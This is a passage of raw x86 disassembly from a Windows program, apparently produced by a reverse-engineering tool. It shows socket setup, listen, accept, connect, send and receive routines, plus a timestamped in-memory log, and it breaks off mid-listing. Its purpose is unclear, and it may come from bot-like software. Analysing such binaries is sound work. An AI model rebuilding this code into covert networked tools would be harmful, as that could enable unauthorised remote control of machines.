dup(0CCh) ; --------------------------------------------------------------------------- loc_419AB0: ; CODE XREF: ___:0040150Fj sub esp, 0Ch mov eax, [esp+20h] push ebx push ebp push esi xor esi, esi push edi cmp eax, esi mov dword ptr [esp+18h], 80h mov [esp+10h], esi jz short loc_419AE3 push eax nop call near ptr 77C1BF18h add esp, 4 cmp eax, esi mov [esp+10h], eax jz short loc_419AE3 mov [esp+18h], eax loc_419AE3: ; CODE XREF: ___:00419ACBj ; ___:00419ADDj mov edi, [esp+28h] mov ebx, [esp+24h] mov ebp, [esp+20h] mov [esp+14h], esi mov esi, offset dword_508E2C loc_419AF8: ; CODE XREF: ___:00419B49j mov ecx, [esp+14h] mov eax, [esp+18h] cmp ecx, eax jge short loc_419B4B cmp byte ptr [esi], 0 jz short loc_419B34 mov eax, [esp+30h] test eax, eax jz short loc_419B28 mov ecx, [esp+10h] test ecx, ecx jnz short loc_419B28 push eax push esi call near ptr 77C47C60h nop add esp, 8 test eax, eax jz short loc_419B34 loc_419B28: ; CODE XREF: ___:00419B0Fj ; ___:00419B17j push edi push esi push ebx push ebp call sub_40152D add esp, 10h loc_419B34: ; CODE XREF: ___:00419B07j ; ___:00419B26j mov edx, [esp+14h] add esi, 80h inc edx cmp esi, offset dword_50CE2C mov [esp+14h], edx jl short loc_419AF8 loc_419B4B: ; CODE XREF: ___:00419B02j pop edi pop esi pop ebp pop ebx add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419B90: ; CODE XREF: ___:00402289j push ebx mov ebx, dword_511B04 push esi push edi mov edi, [esp+10h] mov esi, offset dword_508E2C loc_419BA2: ; CODE XREF: ___:00419BBEj cmp byte ptr [esi], 0 jz short loc_419BB2 push edi push esi call ebx add esp, 8 test eax, eax jnz short loc_419BC6 loc_419BB2: ; CODE XREF: ___:00419BA5j add esi, 80h cmp esi, offset dword_50CE2C jl short loc_419BA2 pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_419BC6: ; CODE XREF: ___:00419BB0j pop edi pop esi mov eax, 1 pop ebx retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_419BE0 proc near ; CODE XREF: sub_4010D2j var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h lea eax, [esp+10h+var_10] push esi push edi push eax nop call near ptr 27C0000h mov edi, dword_511B08 mov esi, offset dword_50CE2C loc_419BFB: ; CODE XREF: sub_419BE0+3Bj cmp byte ptr [esi], 0 jz short loc_419C0F push 7Fh lea ecx, [esi+80h] push esi push ecx call edi add esp, 0Ch loc_419C0F: ; CODE XREF: sub_419BE0+1Ej sub esi, 80h cmp esi, offset dword_508E2C jge short loc_419BFB mov edx, [esp+18h+arg_0] mov eax, [esp+18h+var_4] mov ecx, [esp+12h] push edx mov edx, [esp+1Ch+var_8] and eax, 0FFFFh and ecx, 0FFFFh push eax mov eax, [esp+20h+var_10] and edx, 0FFFFh push ecx mov ecx, [esp+1Ah] push edx mov edx, [esp+28h+var_10+2] and eax, 0FFFFh and ecx, 0FFFFh push eax and edx, 0FFFFh push ecx push edx push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push 80h push offset dword_508E2C call near ptr 77C3FA76h nop add esp, 28h pop edi pop esi add esp, 10h retn sub_419BE0 endp ; --------------------------------------------------------------------------- db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419CB0: ; CODE XREF: ___:004012DAj sub esp, 600h mov ecx, 80h xor eax, eax push ebx push ebp push esi push edi lea edi, [esp+10h] mov esi, [esp+614h] rep stosd mov ecx, 80h lea edi, [esp+210h] mov ebp, dword_511B08 push 1FFh rep stosd mov ecx, 80h lea edi, [esp+414h] rep stosd lea eax, [esp+14h] push esi push eax call ebp mov edx, [esp+628h] or ecx, 0FFFFFFFFh mov edi, edx xor eax, eax add esp, 0Ch repne scasb not ecx dec ecx cmp ecx, 180h jbe short loc_419D21 mov [edx+180h], al loc_419D21: ; CODE XREF: ___:00419D19j mov ebx, [esp+618h] lea ecx, [esp+10h] push ebx push ecx nop call near ptr 77C47C60h add esp, 8 test eax, eax jz loc_419E32 loc_419D3F: ; CODE XREF: ___:00419E25j lea edx, [esp+10h] push ebx push edx nop call near ptr 77C47C60h mov esi, eax mov edi, ebx or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push 1FFh add ecx, esi lea eax, [esp+41Ch] push ecx push eax call ebp lea ecx, [esp+24h] push 1FFh lea edx, [esp+228h] push ecx push edx mov byte ptr [esi], 0 call ebp lea edx, [esi+1] add esp, 20h test edx, edx jz short loc_419E00 lea eax, [ebx-1] test eax, eax jz short loc_419E00 lea edi, [ebx-1] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov edi, edx mov esi, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx cmp ecx, esi jbe short loc_419DDD mov edx, [esp+61Ch] lea ecx, [esp+410h] push ecx lea eax, [esp+214h] push edx push eax lea ecx, [esp+1Ch] push offset aSSS ; "%s%s%s" push ecx nop call near ptr byte_5F285B add esp, 14h jmp short loc_419E00 ; --------------------------------------------------------------------------- loc_419DDD: ; CODE XREF: ___:00419DAEj mov edx, [esp+61Ch] lea eax, [esp+210h] push edx push eax lea ecx, [esp+18h] push offset aSS_3 ; "%s%s" push ecx nop call near ptr byte_5F285B add esp, 10h loc_419E00: ; CODE XREF: ___:00419D8Aj ; ___:00419D91j ... mov edx, [esp+61Ch] mov esi, dword_511B04 push edx push ebx call esi add esp, 8 test eax, eax jnz short loc_419E2B lea eax, [esp+10h] push ebx push eax call esi add esp, 8 test eax, eax jnz loc_419D3F loc_419E2B: ; CODE XREF: ___:00419E16j mov esi, [esp+614h] loc_419E32: ; CODE XREF: ___:00419D39j lea edi, [esp+10h] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx lea ecx, [esp+14h] push ecx push esi call ebp add esp, 0Ch mov eax, esi pop edi pop esi pop ebp pop ebx add esp, 600h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 70h dup(0CCh) ; --------------------------------------------------------------------------- loc_419ED0: ; CODE XREF: ___:004018DEj sub esp, 10h push esi push 0 push 1 push 2 call near ptr 71AB3B91h nop mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_419EEE or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419EEE: ; CODE XREF: ___:00419EE5j mov ecx, [esp+18h] xor eax, eax mov [esp+4], eax push ecx mov [esp+0Ch], eax mov word ptr [esp+8], 2 mov [esp+10h], eax mov [esp+14h], eax call near ptr 71AB2B66h nop lea edx, [esp+4] push 10h push edx push esi mov [esp+12h], ax mov dword ptr [esp+14h], 0 nop call near ptr 71AB3E00h test eax, eax jz short loc_419F39 or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419F39: ; CODE XREF: ___:00419F2Fj push 7FFFFFFFh push esi nop call near ptr 71AB88D3h test eax, eax jz short loc_419F51 or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_419F51: ; CODE XREF: ___:00419F47j mov eax, esi pop esi add esp, 10h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_419F90: ; CODE XREF: ___:00401E83j push edi xor edi, edi mov eax, offset byte_4E02A5 loc_419F98: ; CODE XREF: ___:00419FA8j cmp dword ptr [eax], 0 jz short loc_419FAA add eax, 316h inc edi cmp eax, offset byte_4E7E15 jle short loc_419F98 loc_419FAA: ; CODE XREF: ___:00419F9Bj cmp edi, 13h jle short loc_419FB4 or eax, 0FFFFFFFFh pop edi retn ; --------------------------------------------------------------------------- loc_419FB4: ; CODE XREF: ___:00419FADj lea eax, [edi+edi*4] push ebx shl eax, 4 sub eax, edi mov ebx, dword_511C00 push esi lea eax, [eax+eax*4] lea esi, ds:4E01ABh[eax*2] mov eax, [esp+10h] push eax push esi call ebx mov ecx, [esp+24h] mov edx, [esp+1Ch] mov eax, [esp+20h] mov [esi+0FAh], ecx mov ecx, [esp+28h] mov [esi+0FEh], edi mov [esi+106h], edx mov [esi+10Ah], eax add esi, 10Eh push ecx push esi call ebx add esp, 10h mov eax, edi pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A050 proc near ; CODE XREF: sub_4013F2j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h push edi xor edi, edi mov eax, offset dword_4D8735 loc_41A058: ; CODE XREF: sub_41A050+18j cmp dword ptr [eax], 0 jz short loc_41A06A add eax, 316h inc edi cmp eax, offset byte_4E02A5 jle short loc_41A058 loc_41A06A: ; CODE XREF: sub_41A050+Bj cmp edi, 13h jle short loc_41A074 or eax, 0FFFFFFFFh pop edi retn ; --------------------------------------------------------------------------- loc_41A074: ; CODE XREF: sub_41A050+1Dj lea eax, [edi+edi*4] push ebx shl eax, 4 sub eax, edi mov ebx, dword_511C00 push esi lea eax, [eax+eax*4] lea esi, ds:4D863Bh[eax*2] mov eax, [esp+0Ch+arg_0] push eax push esi call ebx mov ecx, [esp+14h+arg_C] mov edx, [esp+14h+arg_4] mov eax, [esp+14h+arg_8] mov [esi+0FAh], ecx mov ecx, [esp+14h+arg_10] mov [esi+0FEh], edi mov [esi+106h], edx mov [esi+10Ah], eax add esi, 10Eh push ecx push esi call ebx add esp, 10h mov eax, edi pop esi pop ebx pop edi retn sub_41A050 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A110 proc near ; CODE XREF: sub_401C49j var_190 = byte ptr -190h arg_0 = byte ptr 4 sub esp, 190h push ebp mov ebp, ecx push esi push edi mov dword ptr [ebp+0], offset off_43F0BC mov eax, dword_50DAF8 test eax, eax jnz short loc_41A148 mov eax, dword_50DAF8 inc eax mov dword_50DAF8, eax lea ecx, [esp+19Ch+var_190] push ecx push 202h call near ptr 71AB664Dh nop jmp short loc_41A155 ; --------------------------------------------------------------------------- loc_41A148: ; CODE XREF: sub_41A110+19j mov edx, dword_50DAF8 inc edx mov dword_50DAF8, edx loc_41A155: ; CODE XREF: sub_41A110+36j mov al, [esp+19Ch+arg_0] or ecx, 0FFFFFFFFh mov [ebp+80Ah], al mov edi, offset byte_448F30 xor eax, eax mov [ebp+806h], ecx mov byte ptr [ebp+80Ch], 0 mov word ptr [ebp+4], 0 repne scasb not ecx sub edi, ecx lea edx, [ebp+6] mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebp and ecx, 3 rep movsb pop edi mov byte ptr [ebp+80Bh], 0 pop esi pop ebp add esp, 190h retn 4 sub_41A110 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A1E0 proc near ; CODE XREF: ___:004018E3j sub_401B09j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401FE6 test [esp+4+arg_0], 1 jz short loc_41A1F8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_41A1F8: ; CODE XREF: sub_41A1E0+Dj mov eax, esi pop esi retn 4 sub_41A1E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A210 proc near ; CODE XREF: sub_401FE6j mov al, [ecx+80Ah] mov dword ptr [ecx], offset off_43F0BC test al, al jnz short loc_41A225 call sub_4014E7 loc_41A225: ; CODE XREF: sub_41A210+Ej mov eax, 1 mov ecx, dword_50DAF8 cmp ecx, eax jle short loc_41A240 mov eax, dword_50DAF8 dec eax mov dword_50DAF8, eax locret_41A23F: ; CODE XREF: sub_41A210:loc_41A240j retn ; --------------------------------------------------------------------------- loc_41A240: ; CODE XREF: sub_41A210+22j jnz short locret_41A23F mov ecx, dword_50DAF8 dec ecx mov dword_50DAF8, ecx jmp near ptr 71AB4428h sub_41A210 endp ; --------------------------------------------------------------------------- dd 90909039h, 2 dup(90909090h), 8 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_41A280: ; CODE XREF: ___:004015AAj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43BFDB push eax mov large fs:0, esp sub esp, 814h push esi mov esi, ecx call sub_40196A test al, al jz loc_41A331 mov al, [esi+80Bh] test al, al jz short loc_41A2B9 mov al, 1 jmp short loc_41A331 ; --------------------------------------------------------------------------- loc_41A2B9: ; CODE XREF: ___:0041A2B3j push ebx push edi mov edi, [esp+830h] push 800h lea eax, [esi+6] push edi push eax nop call near ptr 77C47A90h mov ebx, [esp+840h] add esp, 0Ch lea ecx, [esp+0Ch] mov [esi+4], bx call sub_401186 mov ecx, [esp+83Ch] mov edx, [esp+838h] push ecx push edx push ebx push edi lea ecx, [esp+1Ch] mov dword ptr [esp+838h], 0 call sub_401640 push eax mov ecx, esi call sub_4020E5 lea ecx, [esp+0Ch] mov bl, al mov dword ptr [esp+828h], 0FFFFFFFFh call sub_40187A mov al, bl pop edi pop ebx loc_41A331: ; CODE XREF: ___:0041A2A5j ; ___:0041A2B7j mov ecx, [esp+818h] pop esi mov large fs:0, ecx add esp, 820h retn 10h ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A390 proc near ; CODE XREF: sub_40196Aj mov al, byte_444DA4 retn sub_41A390 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A3B0 proc near ; CODE XREF: sub_4020E5j var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = byte ptr 10h sub esp, 11Ch push ebp push esi push edi mov esi, ecx call sub_40196A test al, al jnz short loc_41A3D0 pop edi pop esi pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A3D0: ; CODE XREF: sub_41A3B0+12j mov al, [esi+80Bh] test al, al jnz loc_41A571 push 6 push 1 push 2 nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [esi+806h], eax jnz short loc_41A40A mov ecx, esi call sub_4014E7 pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A40A: ; CODE XREF: sub_41A3B0+43j mov al, [esp+128h+arg_C] test al, al jnz short loc_41A419 push 1 jmp short loc_41A41B ; --------------------------------------------------------------------------- loc_41A419: ; CODE XREF: sub_41A3B0+63j push 0 loc_41A41B: ; CODE XREF: sub_41A3B0+67j mov ecx, esi call sub_4018CA mov edi, [esp+128h+arg_4] xor eax, eax mov [esp+128h+var_114], eax push edi mov [esp+12Ch+var_110], eax mov [esi+4], di mov [esp+12Ch+var_10C], eax mov word ptr [esp+12Ch+var_114], 2 mov [esp+12Ch+var_108], eax nop call near ptr 71AB2B66h mov ecx, [esp+128h+arg_0] mov word ptr [esp+128h+var_114+2], ax mov eax, [esi+806h] lea edx, [esp+128h+var_114] push 10h push edx push eax mov [esp+134h+var_110], ecx mov [esi+4], di nop call near ptr 71AB406Ah mov ebp, dword_511C50 test eax, eax jge short loc_41A4BC call ebp cmp eax, 2733h jz short loc_41A4AD call ebp cmp eax, 0Bh jz short loc_41A4AD call ebp cmp eax, 2733h jz short loc_41A4AD mov byte ptr [esi+80Bh], 0 pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A4AD: ; CODE XREF: sub_41A3B0+D6j ; sub_41A3B0+DDj ... mov al, byte ptr [esp+128h+arg_8] test al, al jnz loc_41A56A loc_41A4BC: ; CODE XREF: sub_41A3B0+CDj mov eax, [esi+806h] xor ecx, ecx lea edx, [esp+128h+var_11C] mov edi, dword_511C94 mov [esp+128h+var_11C], ecx push edx mov [esp+12Ch+var_118], ecx push ecx lea ecx, [esp+130h+var_104] mov [esp+130h+var_100], eax push ecx inc eax push 0 push eax mov [esp+13Ch+var_11C], 0Ah mov [esp+13Ch+var_104], 1 call edi test eax, eax jge short loc_41A530 loc_41A4FB: ; CODE XREF: sub_41A3B0+17Ej call ebp call ebp cmp eax, 4 jnz short loc_41A545 mov eax, [esp+128h+var_11C] test eax, eax jnz short loc_41A514 mov eax, [esp+128h+var_118] test eax, eax jz short loc_41A545 loc_41A514: ; CODE XREF: sub_41A3B0+15Aj mov ecx, [esi+806h] lea edx, [esp+128h+var_11C] push edx lea eax, [esp+12Ch+var_104] push 0 push eax inc ecx push 0 push ecx call edi test eax, eax jl short loc_41A4FB loc_41A530: ; CODE XREF: sub_41A3B0+149j mov al, [esp+128h+arg_C] test al, al jnz short loc_41A561 mov edx, [esp+128h+arg_8] push edx jmp short loc_41A563 ; --------------------------------------------------------------------------- loc_41A545: ; CODE XREF: sub_41A3B0+152j ; sub_41A3B0+162j mov ecx, esi call sub_4014E7 mov byte ptr [esi+80Bh], 0 pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_41A561: ; CODE XREF: sub_41A3B0+189j push 0 loc_41A563: ; CODE XREF: sub_41A3B0+193j mov ecx, esi call sub_4018CA loc_41A56A: ; CODE XREF: sub_41A3B0+106j mov byte ptr [esi+80Bh], 1 loc_41A571: ; CODE XREF: sub_41A3B0+28j pop edi pop esi mov al, 1 pop ebp add esp, 11Ch retn 10h sub_41A3B0 endp ; --------------------------------------------------------------------------- db 90h db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A600 proc near ; CODE XREF: sub_4014E7j push esi mov esi, ecx mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jz short loc_41A61A cmp eax, 0FFFFFFFFh jz short loc_41A61A push eax call near ptr 71AB9639h nop loc_41A61A: ; CODE XREF: sub_41A600+Cj ; sub_41A600+11j mov ecx, esi call sub_401375 mov byte ptr [esi+80Bh], 0 pop esi retn sub_41A600 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A640 proc near ; CODE XREF: sub_401375j push ebp mov edx, ecx push esi push edi or ecx, 0FFFFFFFFh mov edi, offset byte_448F30 xor eax, eax mov [edx+806h], ecx mov word ptr [edx+4], 0 lea ebp, [edx+6] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi mov byte ptr [edx+80Bh], 0 mov byte ptr [edx+80Ch], 0 pop ebp retn sub_41A640 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A6B0 proc near ; CODE XREF: sub_401492j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h push esi mov esi, ecx call sub_40196A test al, al jnz short loc_41A6C6 pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A6C6: ; CODE XREF: sub_41A6B0+Dj mov al, [esi+80Bh] test al, al jnz loc_41A77F push 6 push 1 push 2 call near ptr 71AB3B91h nop cmp eax, 0FFFFFFFFh mov [esi+806h], eax jnz short loc_41A6FB mov ecx, esi call sub_4014E7 xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A6FB: ; CODE XREF: sub_41A6B0+39j mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax nop call near ptr 71AB2B66h mov word ptr [esp+14h+var_10+2], ax mov eax, [esi+806h] lea edx, [esp+14h+var_10] push 10h push edx push eax mov [esp+20h+var_C], 0 nop call near ptr 71AB3E00h test eax, eax jz short loc_41A754 mov ecx, esi call sub_4014E7 xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A754: ; CODE XREF: sub_41A6B0+92j mov ecx, [esi+806h] push 32h push ecx call near ptr 71AB88D3h nop cmp eax, 0FFFFFFFFh jnz short loc_41A778 mov ecx, esi call sub_4014E7 xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_41A778: ; CODE XREF: sub_41A6B0+B6j mov byte ptr [esi+80Bh], 1 loc_41A77F: ; CODE XREF: sub_41A6B0+1Ej mov al, 1 pop esi add esp, 10h retn 4 sub_41A6B0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A7D0 proc near ; CODE XREF: sub_401B95j var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = byte ptr -114h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 120h push esi push edi mov esi, ecx call sub_40196A test al, al jnz short loc_41A7EE pop edi pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A7EE: ; CODE XREF: sub_41A7D0+11j mov al, [esi+80Bh] test al, al jnz short loc_41A805 pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A805: ; CODE XREF: sub_41A7D0+26j mov al, [esi+80Ch] test al, al jnz short loc_41A881 call sub_40196A test al, al jz short loc_41A874 mov edi, dword_511C94 loc_41A81E: ; CODE XREF: sub_41A7D0+A2j mov eax, [esi+806h] lea ecx, [esp+128h+var_11C] push ecx mov [esp+12Ch+var_100], eax push 0 lea edx, [esp+130h+var_104] push 0 inc eax push edx push eax mov [esp+13Ch+var_104], 1 mov [esp+13Ch+var_11C], 0 mov [esp+13Ch+var_118], 64h call edi test eax, eax jz short loc_41A86B mov ecx, [esi+806h] lea eax, [esp+128h+var_104] push eax push ecx call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41A881 loc_41A86B: ; CODE XREF: sub_41A7D0+84j call sub_40196A test al, al jnz short loc_41A81E loc_41A874: ; CODE XREF: sub_41A7D0+46j pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A881: ; CODE XREF: sub_41A7D0+3Dj ; sub_41A7D0+99j mov eax, [esp+128h+arg_4] mov [esp+128h+var_120], 0FFFFFFFFh test eax, eax jz short loc_41A8A4 lea edx, [esp+128h+var_11C] mov [esp+128h+var_11C], 10h push edx push eax jmp short loc_41A8B6 ; --------------------------------------------------------------------------- loc_41A8A4: ; CODE XREF: sub_41A7D0+C2j lea ecx, [esp+128h+var_11C] lea edx, [esp+128h+var_114] push ecx mov [esp+12Ch+var_11C], 10h push edx loc_41A8B6: ; CODE XREF: sub_41A7D0+D2j mov eax, [esi+806h] push eax call near ptr 71AC1028h nop cmp eax, 0FFFFFFFFh mov [esp+128h+var_120], eax jnz short loc_41A8D9 pop edi xor al, al pop esi add esp, 120h retn 0Ch ; --------------------------------------------------------------------------- loc_41A8D9: ; CODE XREF: sub_41A7D0+FAj mov esi, [esp+128h+arg_0] lea ecx, [esp+128h+var_120] push ecx mov ecx, esi call sub_402108 mov dl, [esp+128h+arg_8] pop edi mov [esi+80Dh], dl mov al, 1 pop esi add esp, 120h retn 0Ch sub_41A7D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A960 proc near ; CODE XREF: sub_40196Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] mov edx, [esp+arg_4] push eax mov eax, [esp+4+arg_0] push 0 push edx push eax call sub_401B4F retn 0Ch sub_41A960 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41A990 proc near ; CODE XREF: sub_401B4Fj var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 210h push ebx push ebp push esi mov esi, ecx push edi cmp dword ptr [esi+806h], 0FFFFFFFFh jz loc_41AAF4 mov al, [esi+80Bh] test al, al jz loc_41AAF4 mov edi, dword_5118AC call edi mov ebp, eax mov al, [esi+80Dh] test al, al jnz loc_41AA8C mov ebx, [esp+220h+arg_8] test ebx, ebx jz loc_41AA8C call sub_40196A test al, al jz loc_41AA8C loc_41A9EB: ; CODE XREF: sub_41A990+F6j mov eax, [esi+806h] mov ecx, 1 mov [esp+220h+var_100], eax mov [esp+220h+var_104], ecx mov [esp+220h+var_204], eax mov [esp+220h+var_208], ecx mov [esp+220h+var_210], 0 mov [esp+220h+var_20C], 64h call edi sub eax, ebp cmp eax, ebx ja loc_41AAF4 lea eax, [esp+220h+var_210] lea ecx, [esp+220h+var_208] push eax mov eax, [esi+806h] push ecx lea edx, [esp+228h+var_104] push 0 inc eax push edx push eax call near ptr 71AB2DC0h nop test eax, eax jz short loc_41AA7F mov edx, [esi+806h] lea ecx, [esp+220h+var_208] push ecx push edx call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jnz loc_41AAF4 mov ecx, [esi+806h] lea eax, [esp+220h+var_104] push eax push ecx call sub_438256 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41AA8C loc_41AA7F: ; CODE XREF: sub_41A990+BCj call sub_40196A test al, al jnz loc_41A9EB loc_41AA8C: ; CODE XREF: sub_41A990+39j ; sub_41A990+48j ... call sub_40196A test al, al jz short loc_41AAF4 mov edx, [esp+220h+arg_4] mov eax, [esp+220h+arg_0] mov ecx, [esi+806h] push 0 push edx push eax push ecx nop call near ptr 71AB615Ah mov ecx, [esp+220h+arg_C] test ecx, ecx jz short loc_41AAC1 mov [ecx], eax loc_41AAC1: ; CODE XREF: sub_41A990+12Dj cmp eax, 0FFFFFFFFh jz short loc_41AAD9 test eax, eax jz short loc_41AAD9 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 210h retn 10h ; --------------------------------------------------------------------------- loc_41AAD9: ; CODE XREF: sub_41A990+134j ; sub_41A990+138j nop call near ptr 71AB94DCh pop edi cmp eax, 2733h pop esi pop ebp setz al pop ebx add esp, 210h retn 10h ; --------------------------------------------------------------------------- loc_41AAF4: ; CODE XREF: sub_41A990+13j ; sub_41A990+21j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 210h retn 10h sub_41A990 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AB70: ; CODE XREF: ___:00401622j mov eax, [ecx+806h] cmp eax, 0FFFFFFFFh jz short loc_41ABC1 mov dl, [ecx+80Bh] test dl, dl jz short loc_41ABC1 mov ecx, [esp+8] mov edx, [esp+4] push 0 push ecx push edx push eax nop call near ptr 71AB428Ah mov ecx, [esp+0Ch] test ecx, ecx jz short loc_41ABA2 mov [ecx], eax loc_41ABA2: ; CODE XREF: ___:0041AB9Ej cmp eax, 0FFFFFFFFh jz short loc_41ABB0 test eax, eax jz short loc_41ABB0 mov al, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_41ABB0: ; CODE XREF: ___:0041ABA5j ; ___:0041ABA9j nop call near ptr 71AB94DCh cmp eax, 2733h setz al retn 0Ch ; --------------------------------------------------------------------------- loc_41ABC1: ; CODE XREF: ___:0041AB79j ; ___:0041AB83j xor al, al retn 0Ch ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41ABF0: ; CODE XREF: ___:004019BFj push ecx push ebx push ebp push esi mov esi, ecx push edi mov [esp+10h], esi call sub_40196A test al, al jnz short loc_41AC0C pop edi pop esi pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AC0C: ; CODE XREF: ___:0041AC02j mov al, [esi+80Bh] xor ebx, ebx cmp al, bl jnz short loc_41AC22 loc_41AC18: ; CODE XREF: ___:0041AC5Dj pop edi pop esi pop ebp xor al, al pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AC22: ; CODE XREF: ___:0041AC16j mov eax, [esp+1Ch] mov ebp, [esp+18h] xor esi, esi dec eax cmp eax, ebx mov [ebp+0], bl mov byte ptr [esp+18h], 1 jle short loc_41AC86 mov edi, ebp loc_41AC3B: ; CODE XREF: ___:0041AC84j cmp edi, ebx jz short loc_41AC86 cmp [esp+18h], bl jz short loc_41AC86 call sub_40196A test al, al jz short loc_41AC86 mov ecx, [esp+10h] push ebx push 1 push edi call sub_40196F test al, al jz short loc_41AC18 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41AC71 cmp al, 0Dh jz short loc_41AC71 cmp al, bl jnz short loc_41AC79 loc_41AC71: ; CODE XREF: ___:0041AC67j ; ___:0041AC6Bj mov [esi+ebp-1], bl mov [esp+18h], bl loc_41AC79: ; CODE XREF: ___:0041AC6Fj mov ecx, [esp+1Ch] inc esi inc edi lea eax, [ecx-1] cmp esi, eax jl short loc_41AC3B loc_41AC86: ; CODE XREF: 